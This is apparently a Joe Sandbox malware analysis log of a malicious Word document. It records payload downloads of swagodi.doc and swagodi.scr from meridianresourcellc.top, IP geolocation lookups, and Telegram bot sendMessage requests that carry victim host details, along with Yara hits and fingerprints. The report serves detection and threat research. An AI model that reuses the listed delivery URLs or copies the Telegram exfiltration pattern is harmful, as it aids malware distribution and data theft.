Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 104.21.52.88:443 -> 192.168.2.22:49168

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%207:26:36%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%2010:06:41%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /swagodi.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: meridianresourcellc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /swagodi.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: meridianresourcellc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49162 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.197.72:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49178 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4FA22C98-7DA0-493A-91D1-4967A9EB7810}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /swagodi.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: meridianresourcellc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /swagodi.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: meridianresourcellc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%207:26:36%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%2010:06:41%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: meridianresourcellc.top
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

